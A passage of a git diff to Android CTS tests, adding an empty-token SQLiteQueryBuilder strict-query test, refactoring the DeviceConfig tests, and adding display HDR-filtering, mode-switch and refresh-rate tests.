+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteQueryBuilderTest.java
@@ -743,6 +743,18 @@
     }
 
     @Test
+    public void testStrictQueryEmptyToken() {
+        for (String column : COLUMNS_VALID) {
+            assertStrictQueryValid(
+                    new String[] { column }, column + "=\"\"", null, null, null, null, null);
+        }
+        for (String column : COLUMNS_INVALID) {
+            assertStrictQueryInvalid(
+                    new String[] { column }, column + "=\"\"", null, null, null, null, null);
+        }
+    }
+
+    @Test
     public void testStrictQueryOrderBy() {
         for (String column : COLUMNS_VALID) {
             assertStrictQueryValid(
diff --git a/tests/tests/deviceconfig/AndroidTest.xml b/tests/tests/deviceconfig/AndroidTest.xml
index 0d3a8b8..e869e1f 100644
--- a/tests/tests/deviceconfig/AndroidTest.xml
+++ b/tests/tests/deviceconfig/AndroidTest.xml
@@ -18,7 +18,7 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/deviceconfig/src/android/deviceconfig/cts/AbstractDeviceConfigTestCase.java b/tests/tests/deviceconfig/src/android/deviceconfig/cts/AbstractDeviceConfigTestCase.java
deleted file mode 100644
index 462ee62..0000000
--- a/tests/tests/deviceconfig/src/android/deviceconfig/cts/AbstractDeviceConfigTestCase.java
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.deviceconfig.cts;
-
-import static org.junit.Assume.assumeTrue;
-
-import android.content.Context;
-import android.os.UserHandle;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Before;
-import org.junit.BeforeClass;
-import org.junit.runner.RunWith;
-
-import java.util.concurrent.Executor;
-
-@RunWith(AndroidJUnit4.class)
-abstract class AbstractDeviceConfigTestCase {
-
-    static final Context CONTEXT = InstrumentationRegistry.getContext();
-    static final Executor EXECUTOR = CONTEXT.getMainExecutor();
-
-    static final String WRITE_DEVICE_CONFIG_PERMISSION = "android.permission.WRITE_DEVICE_CONFIG";
-    static final String READ_DEVICE_CONFIG_PERMISSION = "android.permission.READ_DEVICE_CONFIG";
-
-    // String used to skip tests if not support.
-    // TODO: ideally it would be simpler to just use assumeTrue() in the @BeforeClass method, but
-    // then the test would crash - it might be an issue on atest / AndroidJUnit4
-    private static String sUnsupportedReason;
-
-    /**
-     * Get necessary permissions to access and modify properties through DeviceConfig API.
-     */
-    @BeforeClass
-    public static void setUp() throws Exception {
-        if (CONTEXT.getUserId() != UserHandle.USER_SYSTEM
-                && CONTEXT.getPackageManager().isInstantApp()) {
-            sUnsupportedReason = "cannot run test as instant app on secondary user "
-                    + CONTEXT.getUserId();
-        }
-    }
-
-    @Before
-    public void assumeSupported() {
-        assumeTrue(sUnsupportedReason, isSupported());
-    }
-
-    static boolean isSupported() {
-        return sUnsupportedReason == null;
-    }
-}
\ No newline at end of file
diff --git a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
index a18bbca..6d77ebb 100644
--- a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
+++ b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
@@ -16,8 +16,6 @@
 
 package android.deviceconfig.cts;
 
-import androidx.test.InstrumentationRegistry;
-
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.fail;
 
@@ -25,13 +23,17 @@
 import android.provider.DeviceConfig.OnPropertiesChangedListener;
 import android.provider.DeviceConfig.Properties;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 import java.util.concurrent.Executor;
 
-public final class DeviceConfigApiPermissionTests extends AbstractDeviceConfigTestCase {
+@RunWith(AndroidJUnit4.class)
+public final class DeviceConfigApiPermissionTests {
     private static final String NAMESPACE = "namespace";
     private static final String NAMESPACE2 = "namespace2";
     private static final String PUBLIC_NAMESPACE = "textclassifier";
@@ -39,10 +41,16 @@
     private static final String KEY2 = "key2";
     private static final String VALUE = "value";
 
+    private static final String WRITE_DEVICE_CONFIG_PERMISSION =
+            "android.permission.WRITE_DEVICE_CONFIG";
+
+    private static final String READ_DEVICE_CONFIG_PERMISSION =
+            "android.permission.READ_DEVICE_CONFIG";
+
+    private static final Executor EXECUTOR = InstrumentationRegistry.getContext().getMainExecutor();
+
     @After
     public void dropShellPermissionIdentityAfterTest() {
-        if (!isSupported()) return;
-
         InstrumentationRegistry.getInstrumentation().getUiAutomation()
                 .dropShellPermissionIdentity();
     }
diff --git a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiTests.java b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiTests.java
index 9fb039d..c1cbbad 100644
--- a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiTests.java
+++ b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiTests.java
@@ -20,17 +20,22 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNull;
+import static org.junit.Assume.assumeTrue;
 import static org.junit.Assert.fail;
 
+import android.content.Context;
 import android.os.SystemClock;
+import android.os.UserHandle;
 import android.provider.DeviceConfig;
 import android.provider.DeviceConfig.OnPropertiesChangedListener;
 import android.provider.DeviceConfig.Properties;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.After;
 import org.junit.AfterClass;
+import org.junit.Before;
 import org.junit.BeforeClass;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -40,7 +45,8 @@
 import java.util.concurrent.Executor;
 import java.util.concurrent.TimeUnit;
 
-public final class DeviceConfigApiTests extends AbstractDeviceConfigTestCase {
+@RunWith(AndroidJUnit4.class)
+public final class DeviceConfigApiTests {
     private static final String NAMESPACE1 = "namespace1";
     private static final String NAMESPACE2 = "namespace2";
     private static final String EMPTY_NAMESPACE = "empty_namespace";
@@ -68,20 +74,47 @@
     private static final float VALID_FLOAT = 456.789f;
     private static final String INVALID_FLOAT = "34343et";
 
+    private static final Context CONTEXT = InstrumentationRegistry.getContext();
+
+    private static final Executor EXECUTOR = CONTEXT.getMainExecutor();
+
+
     private static final long WAIT_FOR_PROPERTY_CHANGE_TIMEOUT_MILLIS = 2000; // 2 sec
     private final Object mLock = new Object();
 
+
+    private static final String WRITE_DEVICE_CONFIG_PERMISSION =
+            "android.permission.WRITE_DEVICE_CONFIG";
+
+    private static final String READ_DEVICE_CONFIG_PERMISSION =
+            "android.permission.READ_DEVICE_CONFIG";
+
+    // String used to skip tests if not support.
+    // TODO: ideally it would be simpler to just use assumeTrue() in the @BeforeClass method, but
+    // then the test would crash - it might be an issue on atest / AndroidJUnit4
+    private static String sUnsupportedReason;
+
     /**
      * Get necessary permissions to access and modify properties through DeviceConfig API.
      */
     @BeforeClass
     public static void setUp() throws Exception {
-        if (!isSupported()) return;
+        if (CONTEXT.getUserId() != UserHandle.USER_SYSTEM
+                && CONTEXT.getPackageManager().isInstantApp()) {
+            sUnsupportedReason = "cannot run test as instant app on secondary user "
+                    + CONTEXT.getUserId();
+            return;
+        }
 
         InstrumentationRegistry.getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
                 WRITE_DEVICE_CONFIG_PERMISSION, READ_DEVICE_CONFIG_PERMISSION);
     }
 
+    @Before
+    public void assumeSupported() {
+        assumeTrue(sUnsupportedReason, isSupported());
+    }
+
     /**
      * Nullify properties in DeviceConfig API after completion of every test.
      */
@@ -1060,6 +1093,10 @@
                 "device_config delete " + namespace + " " + key);
     }
 
+    private static boolean isSupported() {
+        return sUnsupportedReason == null;
+    }
+
     private static class PropertyUpdate {
         Properties properties;
 
@@ -1090,4 +1127,4 @@
             }
         }
     }
-}
+}
\ No newline at end of file
diff --git a/tests/tests/display/Android.bp b/tests/tests/display/Android.bp
index 2756a1d..9a1bb6c 100644
--- a/tests/tests/display/Android.bp
+++ b/tests/tests/display/Android.bp
@@ -26,7 +26,10 @@
         enabled: false,
     },
     srcs: ["src/**/*.java"],
-    static_libs: ["androidx.test.rules"],
+    static_libs: [
+    "androidx.test.rules",
+    "compatibility-device-util-axt",
+    ],
     libs: ["android.test.base"],
     // Tag this module as a cts test artifact
     test_suites: [
diff --git a/tests/tests/display/AndroidManifest.xml b/tests/tests/display/AndroidManifest.xml
index 38e5b3f..16028eb 100644
--- a/tests/tests/display/AndroidManifest.xml
+++ b/tests/tests/display/AndroidManifest.xml
@@ -33,6 +33,9 @@
         <uses-library android:name="android.test.runner" />
         <activity android:name=".ScreenOnActivity" />
         <activity android:name=".DisplayTestActivity" />
+        <activity
+            android:name=".RetainedDisplayTestActivity"
+            android:configChanges="density|orientation|screenLayout|screenSize" />
     </application>
 
     <!--  self-instrumenting test package. -->
diff --git a/tests/tests/display/src/android/display/cts/DisplayTest.java b/tests/tests/display/src/android/display/cts/DisplayTest.java
index 639ecc8..1ac4507 100644
--- a/tests/tests/display/src/android/display/cts/DisplayTest.java
+++ b/tests/tests/display/src/android/display/cts/DisplayTest.java
@@ -19,7 +19,9 @@
 import static android.view.Display.DEFAULT_DISPLAY;
 
 import static org.junit.Assert.*;
+import static org.junit.Assume.*;
 
+import android.Manifest;
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.app.Presentation;
@@ -31,17 +33,22 @@
 import android.graphics.ColorSpace;
 import android.graphics.PixelFormat;
 import android.graphics.Point;
+import android.hardware.display.DeviceProductInfo;
 import android.hardware.display.DisplayManager;
 import android.hardware.display.DisplayManager.DisplayListener;
 import android.os.Bundle;
 import android.os.Handler;
+import android.os.IBinder;
 import android.os.Looper;
 import android.os.ParcelFileDescriptor;
 import android.platform.test.annotations.Presubmit;
 import android.provider.Settings;
+import android.text.TextUtils;
 import android.util.DisplayMetrics;
+import android.util.Log;
 import android.view.Display;
 import android.view.Display.HdrCapabilities;
+import android.view.SurfaceControl;
 import android.view.View;
 import android.view.ViewGroup;
 import android.view.WindowManager;
@@ -50,22 +57,40 @@
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.AdoptShellPermissionsRule;
+import com.android.compatibility.common.util.SettingsStateKeeperRule;
+
 import org.junit.After;
 import org.junit.Before;
+import org.junit.ClassRule;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 import java.io.FileInputStream;
 import java.io.InputStream;
+import java.time.Duration;
+import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collections;
 import java.util.List;
+import java.util.Optional;
+import java.util.Random;
 import java.util.Scanner;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicInteger;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.Condition;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
+import java.util.function.Predicate;
+import java.util.function.Supplier;
 
 @RunWith(AndroidJUnit4.class)
 public class DisplayTest {
+    private static final String TAG = "DisplayTest";
+
     // The CTS package brings up an overlay display on the target device (see AndroidTest.xml).
     // The overlay display parameters must match the ones defined there which are
     // 181x161/214 (wxh/dpi).  It only matters that these values are different from any real
@@ -102,6 +127,35 @@
                     false /* initialTouchMode */,
                     false /* launchActivity */);
 
+    @Rule
+    public ActivityTestRule<RetainedDisplayTestActivity> mRetainedDisplayTestActivity =
+            new ActivityTestRule<>(
+                    RetainedDisplayTestActivity.class,
+                    false /* initialTouchMode */,
+                    false /* launchActivity */);
+
+    /**
+     * This rule adopts the Shell process permissions, needed because OVERRIDE_DISPLAY_MODE_REQUESTS
+     * and ACCESS_SURFACE_FLINGER are privileged permission.
+     */
+    @Rule
+    public AdoptShellPermissionsRule mAdoptShellPermissionsRule = new AdoptShellPermissionsRule(
+            InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+            Manifest.permission.OVERRIDE_DISPLAY_MODE_REQUESTS,
+            Manifest.permission.ACCESS_SURFACE_FLINGER,
+            Manifest.permission.WRITE_SECURE_SETTINGS);
+
+
+    @ClassRule
+    public static final SettingsStateKeeperRule mAreUserDisabledHdrFormatsAllowedSettingsKeeper =
+            new SettingsStateKeeperRule(InstrumentationRegistry.getTargetContext(),
+                    Settings.Global.ARE_USER_DISABLED_HDR_FORMATS_ALLOWED);
+
+    @ClassRule
+    public static final SettingsStateKeeperRule mUserDisabledHdrFormatsSettingsKeeper =
+            new SettingsStateKeeperRule(InstrumentationRegistry.getTargetContext(),
+                    Settings.Global.USER_DISABLED_HDR_FORMATS);
+
     @Before
     public void setUp() throws Exception {
         mScreenOnActivity = launchScreenOnActivity();
@@ -200,8 +254,7 @@
      */
     @Test
     public void testDefaultDisplayHdrCapability() {
-        Display display = mDisplayManager.getDisplay(DEFAULT_DISPLAY);
-        HdrCapabilities cap = display.getHdrCapabilities();
+        HdrCapabilities cap = mDefaultDisplay.getHdrCapabilities();
         int[] hdrTypes = cap.getSupportedHdrTypes();
         for (int type : hdrTypes) {
             assertTrue(type >= 1 && type <= 4);
@@ -212,9 +265,163 @@
         assertTrue(cap.getDesiredMinLuminance() <= cap.getDesiredMaxAverageLuminance());
         assertTrue(cap.getDesiredMaxAverageLuminance() <= cap.getDesiredMaxLuminance());
         if (hdrTypes.length > 0) {
-            assertTrue(display.isHdr());
+            assertTrue(mDefaultDisplay.isHdr());
         } else {
-            assertFalse(display.isHdr());
+            assertFalse(mDefaultDisplay.isHdr());
+        }
+    }
+
+    /**
+     * Verifies that getHdrCapabilities filters out specified HDR types after
+     * setUserDisabledHdrTypes is called and setAreUserDisabledHdrTypes is false.
+     */
+    @Test
+    public void
+            testGetHdrCapabilitiesWhenUserDisabledFormatsAreNotAllowedReturnsFilteredHdrTypes()
+                    throws Exception {
+        final IBinder displayToken = SurfaceControl.getInternalDisplayToken();
+        SurfaceControl.overrideHdrTypes(displayToken, new int[]{
+                HdrCapabilities.HDR_TYPE_DOLBY_VISION, HdrCapabilities.HDR_TYPE_HDR10,
+                HdrCapabilities.HDR_TYPE_HLG, HdrCapabilities.HDR_TYPE_HDR10_PLUS});
+        waitUntil(
+                mDefaultDisplay,
+                mDefaultDisplay ->
+                        mDefaultDisplay.getHdrCapabilities().getSupportedHdrTypes().length == 4,
+                Duration.ofSeconds(5));
+        assertEquals(4, mDefaultDisplay.getHdrCapabilities().getSupportedHdrTypes().length);
+
+        mDisplayManager.setAreUserDisabledHdrTypesAllowed(false);
+        int[] emptyUserDisabledFormats = {};
+        mDisplayManager.setUserDisabledHdrTypes(emptyUserDisabledFormats);
+        int[] expectedHdrTypes = new int[]{
+                HdrCapabilities.HDR_TYPE_DOLBY_VISION, HdrCapabilities.HDR_TYPE_HDR10,
+                HdrCapabilities.HDR_TYPE_HLG, HdrCapabilities.HDR_TYPE_HDR10_PLUS};
+        assertArrayEquals(expectedHdrTypes,
+                mDefaultDisplay.getHdrCapabilities().getSupportedHdrTypes());
+
+        int[] userDisabledHdrTypes =
+                {HdrCapabilities.HDR_TYPE_DOLBY_VISION,  HdrCapabilities.HDR_TYPE_HLG};
+        mDisplayManager.setUserDisabledHdrTypes(userDisabledHdrTypes);
+        expectedHdrTypes = new int[]{
+                HdrCapabilities.HDR_TYPE_HDR10,
+                HdrCapabilities.HDR_TYPE_HDR10_PLUS};
+        assertArrayEquals(expectedHdrTypes,
+                mDefaultDisplay.getHdrCapabilities().getSupportedHdrTypes());
+
+        mDisplayManager.setUserDisabledHdrTypes(emptyUserDisabledFormats);
+        expectedHdrTypes = new int[]{
+                HdrCapabilities.HDR_TYPE_DOLBY_VISION, HdrCapabilities.HDR_TYPE_HDR10,
+                HdrCapabilities.HDR_TYPE_HLG, HdrCapabilities.HDR_TYPE_HDR10_PLUS};
+        assertArrayEquals(expectedHdrTypes,
+                mDefaultDisplay.getHdrCapabilities().getSupportedHdrTypes());
+    }
+
+    /**
+     * Verifies that getHdrCapabilities doesn't filter out HDR types after
+     * setUserDisabledHdrTypes is called and setAreUserDisabledHdrTypes is true.
+     */
+    @Test
+    public void
+            testGetHdrCapabilitiesWhenUserDisabledFormatsAreAllowedReturnsNonFilteredHdrTypes()
+                    throws Exception {
+        final IBinder displayToken = SurfaceControl.getInternalDisplayToken();
+        SurfaceControl.overrideHdrTypes(displayToken, new int[]{
+                HdrCapabilities.HDR_TYPE_DOLBY_VISION, HdrCapabilities.HDR_TYPE_HDR10,
+                HdrCapabilities.HDR_TYPE_HLG, HdrCapabilities.HDR_TYPE_HDR10_PLUS});
+        waitUntil(
+                mDefaultDisplay,
+                mDefaultDisplay ->
+                        mDefaultDisplay.getHdrCapabilities().getSupportedHdrTypes().length == 4,
+                Duration.ofSeconds(5));
+        assertEquals(4, mDefaultDisplay.getHdrCapabilities().getSupportedHdrTypes().length);
+
+        mDisplayManager.setAreUserDisabledHdrTypesAllowed(true);
+        int[] userDisabledHdrTypes =
+                {HdrCapabilities.HDR_TYPE_DOLBY_VISION,  HdrCapabilities.HDR_TYPE_HLG};
+        mDisplayManager.setUserDisabledHdrTypes(userDisabledHdrTypes);
+        int[] expectedHdrTypes = new int[]{
+                HdrCapabilities.HDR_TYPE_DOLBY_VISION, HdrCapabilities.HDR_TYPE_HDR10,
+                HdrCapabilities.HDR_TYPE_HLG, HdrCapabilities.HDR_TYPE_HDR10_PLUS};
+        assertArrayEquals(expectedHdrTypes,
+                mDefaultDisplay.getHdrCapabilities().getSupportedHdrTypes());
+
+        int[] emptyUserDisabledFormats = {};
+        mDisplayManager.setUserDisabledHdrTypes(emptyUserDisabledFormats);
+        assertArrayEquals(expectedHdrTypes,
+                mDefaultDisplay.getHdrCapabilities().getSupportedHdrTypes());
+    }
+
+    /**
+     * Verifies that if userDisabledFormats are not allowed, and are modified by
+     * setUserDisabledHdrTypes, the setting is persisted in Settings.Global.
+     */
+    @Test
+    public void testSetUserDisabledHdrTypesStoresDisabledFormatsInSettings() throws Exception {
+        final IBinder displayToken = SurfaceControl.getInternalDisplayToken();
+        SurfaceControl.overrideHdrTypes(displayToken, new int[]{
+                HdrCapabilities.HDR_TYPE_DOLBY_VISION, HdrCapabilities.HDR_TYPE_HDR10,
+                HdrCapabilities.HDR_TYPE_HLG, HdrCapabilities.HDR_TYPE_HDR10_PLUS});
+        waitUntil(
+                mDefaultDisplay,
+                mDefaultDisplay ->
+                        mDefaultDisplay.getHdrCapabilities().getSupportedHdrTypes().length == 4,
+                Duration.ofSeconds(5));
+        assertEquals(4, mDefaultDisplay.getHdrCapabilities().getSupportedHdrTypes().length);
+
+        mDisplayManager.setAreUserDisabledHdrTypesAllowed(false);
+        int[] emptyUserDisabledFormats = {};
+        mDisplayManager.setUserDisabledHdrTypes(emptyUserDisabledFormats);
+
+        int[] userDisabledHdrTypes =
+                {HdrCapabilities.HDR_TYPE_DOLBY_VISION,  HdrCapabilities.HDR_TYPE_HLG};
+        mDisplayManager.setUserDisabledHdrTypes(userDisabledHdrTypes);
+        String userDisabledFormatsString =
+                Settings.Global.getString(mContext.getContentResolver(),
+                        Settings.Global.USER_DISABLED_HDR_FORMATS);
+        int[] userDisabledFormats = new int[]{};
+        userDisabledFormats = Arrays.stream(
+                TextUtils.split(userDisabledFormatsString, ","))
+                .mapToInt(Integer::parseInt).toArray();
+
+        assertEquals(HdrCapabilities.HDR_TYPE_DOLBY_VISION, userDisabledFormats[0]);
+        assertEquals(HdrCapabilities.HDR_TYPE_HLG, userDisabledFormats[1]);
+    }
+
+    private void waitUntil(Display d, Predicate<Display> pred, Duration maxWait) throws Exception {
+        final int id = d.getDisplayId();
+        final Lock lock = new ReentrantLock();
+        final Condition displayChanged = lock.newCondition();
+        DisplayListener listener = new DisplayListener() {
+            @Override
+            public void onDisplayChanged(int displayId) {
+                if (displayId != id) {
+                    return;
+                }
+                lock.lock();
+                try {
+                    displayChanged.signal();
+                } finally {
+                    lock.unlock();
+                }
+            }
+            @Override
+            public void onDisplayAdded(int displayId) {}
+            @Override
+            public void onDisplayRemoved(int displayId) {}
+        };
+        Handler handler = new Handler(Looper.getMainLooper());
+        mDisplayManager.registerDisplayListener(listener, handler);
+        long remainingNanos = maxWait.toNanos();
+        lock.lock();
+        try {
+            while (!pred.test(mDefaultDisplay)) {
+                if (remainingNanos <= 0L) {
+                    throw new TimeoutException();
+                }
+                displayChanged.awaitNanos(remainingNanos);
+            }
+        } finally {
+            lock.unlock();
         }
     }
 
@@ -306,6 +513,123 @@
     }
 
     /**
+     * Test that a mode switch to every reported display mode is successful.
+     */
+    @Test
+    public void testModeSwitchOnPrimaryDisplay() throws Exception {
+        Display.Mode[] modes = mDefaultDisplay.getSupportedModes();
+        assumeTrue("Need two or more display modes to exercise switching.", modes.length > 1);
+
+        // Create a deterministically shuffled list of display modes, which ends with the
+        // current active mode. We'll switch to the modes in this order. The active mode is last
+        // so we don't need an extra mode switch in case the test completes successfully.
+        Display.Mode activeMode = mDefaultDisplay.getMode();
+        List<Display.Mode> modesList = new ArrayList<>(modes.length);
+        for (Display.Mode mode : modes) {
+            if (mode.getModeId() != activeMode.getModeId()) {
+                modesList.add(mode);
+            }
+        }
+        Random random = new Random(42);
+        Collections.shuffle(modesList, random);
+        modesList.add(activeMode);
+
+        try {
+            mDisplayManager.setShouldAlwaysRespectAppRequestedMode(true);
+            assertTrue(mDisplayManager.shouldAlwaysRespectAppRequestedMode());
+            final DisplayTestActivity activity = launchActivity(mRetainedDisplayTestActivity);
+            for (Display.Mode mode : modesList) {
+                testSwitchToModeId(activity, mode);
+            }
+        } finally {
+            mDisplayManager.setShouldAlwaysRespectAppRequestedMode(false);
+        }
+    }
+
+    /**
+     * Test that a mode switch to another display mode works when the requesting Activity
+     * is destroyed and re-created as part of the configuration change from the display mode.
+     */
+    @Test
+    public void testModeSwitchOnPrimaryDisplayWithRestart() throws Exception {
+        final Display.Mode oldMode = mDefaultDisplay.getMode();
+        final Optional<Display.Mode> newMode = Arrays.stream(mDefaultDisplay.getSupportedModes())
+                .filter(x -> !getPhysicalSize(x).equals(getPhysicalSize(oldMode)))
+                .findFirst();
+        assumeTrue("Modes with different sizes are not available", newMode.isPresent());
+
+        try {
+            mDisplayManager.setShouldAlwaysRespectAppRequestedMode(true);
+            assertTrue(mDisplayManager.shouldAlwaysRespectAppRequestedMode());
+            final DisplayTestActivity activity = launchActivity(mDisplayTestActivity);
+            testSwitchToModeId(launchActivity(mDisplayTestActivity), newMode.get());
+        } finally {
+            mDisplayManager.setShouldAlwaysRespectAppRequestedMode(false);
+        }
+    }
+
+    private static Point getPhysicalSize(Display.Mode mode) {
+        return new Point(mode.getPhysicalWidth(), mode.getPhysicalHeight());
+    }
+
+    private void testSwitchToModeId(DisplayTestActivity activity, Display.Mode mode)
+            throws Exception {
+        Log.i(TAG, "Switching to mode " + mode);
+
+        final CountDownLatch changeSignal = new CountDownLatch(1);
+        final AtomicInteger changeCounter = new AtomicInteger(0);
+        final int activeModeId = mDefaultDisplay.getMode().getModeId();
+
+        DisplayListener listener = new DisplayListener() {
+            private int mLastModeId = activeModeId;
+            @Override
+            public void onDisplayAdded(int displayId) {}
+
+            @Override
+            public void onDisplayChanged(int displayId) {
+                if (displayId != mDefaultDisplay.getDisplayId()) {
+                    return;
+                }
+                int newModeId = mDefaultDisplay.getMode().getModeId();
+                if (mLastModeId == newModeId) {
+                    // We assume this display change is caused by an external factor so it's
+                    // unrelated.
+                    return;
+                }
+                Log.i(TAG, "Switched mode from id=" + mLastModeId + " to id=" + newModeId);
+                changeCounter.incrementAndGet();
+                changeSignal.countDown();
+
+                mLastModeId = newModeId;
+            }
+
+            @Override
+            public void onDisplayRemoved(int displayId) {}
+        };
+
+        Handler handler = new Handler(Looper.getMainLooper());
+        mDisplayManager.registerDisplayListener(listener, handler);
+
+        final CountDownLatch presentationSignal = new CountDownLatch(1);
+        handler.post(() -> {
+            activity.setPreferredDisplayMode(mode);
+            presentationSignal.countDown();
+        });
+
+        assertTrue(presentationSignal.await(5, TimeUnit.SECONDS));
+
+        // Wait until the display change is effective.
+        assertTrue(changeSignal.await(5, TimeUnit.SECONDS));
+        assertEquals(mode.getModeId(), mDefaultDisplay.getMode().getModeId());
+
+        // Make sure no more display mode changes are registered.
+        Thread.sleep(Duration.ofSeconds(3).toMillis());
+        assertEquals(1, changeCounter.get());
+
+        mDisplayManager.unregisterDisplayListener(listener);
+    }
+
+    /**
      * Tests that the mode-related attributes and methods work as expected.
      */
     @Test
@@ -320,10 +644,103 @@
     }
 
     /**
-     * Tests that mode switch requests are correctly executed.
+     * Tests that getSupportedModes works as expected.
      */
     @Test
-    public void testModeSwitch() throws Exception {
+    public void testGetSupportedModesOnDefaultDisplay() {
+        Display.Mode[] supportedModes = mDefaultDisplay.getSupportedModes();
+        // We need to check that the graph defined by getAlternativeRefreshRates() is symmetric and
+        // transitive.
+        // For that reason we run a primitive Union-Find algorithm. In the end of the algorithm
+        // groups[i] == groups[j] iff supportedModes[i] and supportedModes[j] are in the same
+        // connected component. The complexity is O(N^2*M) where N is the number of modes and M is
+        // the max number of alternative refresh rates). This is okay as we expect a relatively
+        // small number of supported modes.
+        int[] groups = new int[supportedModes.length];
+        for (int i = 0; i < groups.length; i++) {
+            groups[i] = i;
+        }
+
+        for (int i = 0; i < supportedModes.length; i++) {
+            Display.Mode supportedMode = supportedModes[i];
+            for (float alternativeRate : supportedMode.getAlternativeRefreshRates()) {
+                assertTrue(alternativeRate != supportedMode.getRefreshRate());
+
+                // The alternative exists.
+                int matchingModeIdx = -1;
+                for (int j = 0; j < supportedModes.length; j++) {
+                    boolean matches = displayModeMatches(supportedModes[j],
+                            supportedMode.getPhysicalWidth(),
+                            supportedMode.getPhysicalHeight(),
+                            alternativeRate);
+                    if (matches) {
+                        matchingModeIdx = j;
+                        break;
+                    }
+                }
+                String message = "Could not find alternative display mode with refresh rate "
+                        + alternativeRate + " for " + supportedMode +  ". All supported"
+                        + " modes are " + Arrays.toString(supportedModes);
+                assertNotEquals(message, -1, matchingModeIdx);
+
+                // Merge the groups of i and matchingModeIdx
+                for (int k = 0; k < groups.length; k++) {
+                    if (groups[k] == groups[matchingModeIdx]) {
+                        groups[k] = groups[i];
+                    }
+                }
+            }
+        }
+
+        for (int i = 0; i < supportedModes.length; i++) {
+            for (int j = 0; j < supportedModes.length; j++) {
+                if (i != j && groups[i] == groups[j]) {
+                    float fpsI = supportedModes[i].getRefreshRate();
+                    boolean iIsAlternativeToJ = false;
+                    for (float alternatives : supportedModes[j].getAlternativeRefreshRates()) {
+                        if (alternatives == fpsI) {
+                            iIsAlternativeToJ = true;
+                            break;
+                        }
+                    }
+                    String message = "Expected " + supportedModes[i] + " to be listed as "
+                            + "alternative refresh rate of " + supportedModes[j] + ". All supported"
+                            + " modes are " + Arrays.toString(supportedModes);
+                    assertTrue(message, iIsAlternativeToJ);
+                }
+            }
+        }
+    }
+
+    private boolean displayModeMatches(Display.Mode mode, int width, int height,
+            float refreshRate) {
+        return mode.getPhysicalWidth() == width &&
+                mode.getPhysicalHeight() == height &&
+                Float.floatToIntBits(mode.getRefreshRate()) == Float.floatToIntBits(refreshRate);
+    }
+
+    /**
+     * Tests that getMode() returns a mode which is in getSupportedModes().
+     */
+    @Test
+    public void testActiveModeIsSupportedModesOnDefaultDisplay() {
+        Display.Mode[] supportedModes = mDefaultDisplay.getSupportedModes();
+        Display.Mode activeMode = mDefaultDisplay.getMode();
+        boolean activeModeIsSupported = false;
+        for (Display.Mode mode : supportedModes) {
+            if (mode.equals(activeMode)) {
+                activeModeIsSupported = true;
+                break;
+            }
+        }
+        assertTrue(activeModeIsSupported);
+    }
+
+    /**
+     * Test that refresh rate switch app requests are correctly executed on a secondary display.
+     */
+    @Test
+    public void testRefreshRateSwitchOnSecondaryDisplay() throws Exception {
         // Standalone VR devices globally ignore SYSTEM_ALERT_WINDOW via AppOps.
         // Skip this test, which depends on a Presentation SYSTEM_ALERT_WINDOW to pass.
         if (mUiModeManager.getCurrentModeType() == Configuration.UI_MODE_TYPE_VR_HEADSET) {
@@ -359,15 +776,12 @@
 
         // Show the presentation.
         final CountDownLatch presentationSignal = new CountDownLatch(1);
-        handler.post(new Runnable() {
-            @Override
-            public void run() {
-                mPresentation = new TestPresentation(
-                        InstrumentationRegistry.getInstrumentation().getContext(),
-                        display, newMode.getModeId());
-                mPresentation.show();
-                presentationSignal.countDown();
-            }
+        handler.post(() -> {
+            mPresentation = new TestPresentation(
+                    InstrumentationRegistry.getInstrumentation().getContext(),
+                    display, newMode.getModeId());
+            mPresentation.show();
+            presentationSignal.countDown();
         });
         assertTrue(presentationSignal.await(5, TimeUnit.SECONDS));
 
@@ -375,12 +789,7 @@
         assertTrue(changeSignal.await(5, TimeUnit.SECONDS));
 
         assertEquals(newMode, display.getMode());
